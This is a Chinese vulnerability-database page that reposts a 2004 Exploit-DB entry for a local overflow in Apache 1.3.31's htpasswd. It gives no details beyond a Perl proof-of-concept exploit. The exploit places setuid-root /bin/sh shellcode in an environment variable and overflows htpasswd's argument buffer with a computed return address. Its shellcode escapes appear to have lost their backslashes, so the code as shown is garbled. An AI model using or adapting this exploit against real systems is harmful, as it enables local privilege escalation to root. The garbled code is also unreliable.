htpasswd Apache 1.3.31 – Local Overflow

htpasswd Apache 1.3.31 – Local Overflow

漏洞ID 1054622 漏洞类型
发布时间 2004-09-16 更新时间 2004-09-16
图片[1]-htpasswd Apache 1.3.31 – Local Overflow-安全小百科CVE编号 N/A
图片[2]-htpasswd Apache 1.3.31 – Local Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/466
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl 
# Proof Of Concept exploit for htpasswd of Apache. 
# Read the advisory for more information. 
# - Luiz Fernando Camargo 
# - foxtrot_at_flowsecurity.org 
$shellcode = "x31xdbx6ax17x58xcdx80x31xc0x50x68x2fx2fx73x68". 
"x68x2fx62x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80"; 


$target = "/usr/local/apache/bin/htpasswd"; 
$retaddr = 0xbffffffa - length($shellcode) - length($target); 


print "using retaddr = 0x", sprintf('%lx',($retaddr)), "rn"; 


local($ENV{'XXX'}) = $shellcode; 
$newret = pack('l', $retaddr); 
$buffer = "A" x 272; 
$buffer .= $newret x 4; 
$buffer .= " "; 
$buffer .= "B" x 290; 


exec("$target -nb $buffer"); 

# milw0rm.com [2004-09-16]

相关推荐: software602 602pro lan suite 2003 – Directory Traversal

software602 602pro lan suite 2003 – Directory Traversal 漏洞ID 1054190 漏洞类型 发布时间 2003-09-25 更新时间 2003-09-25 CVE编号 N/A CNNVD-ID N/A 漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享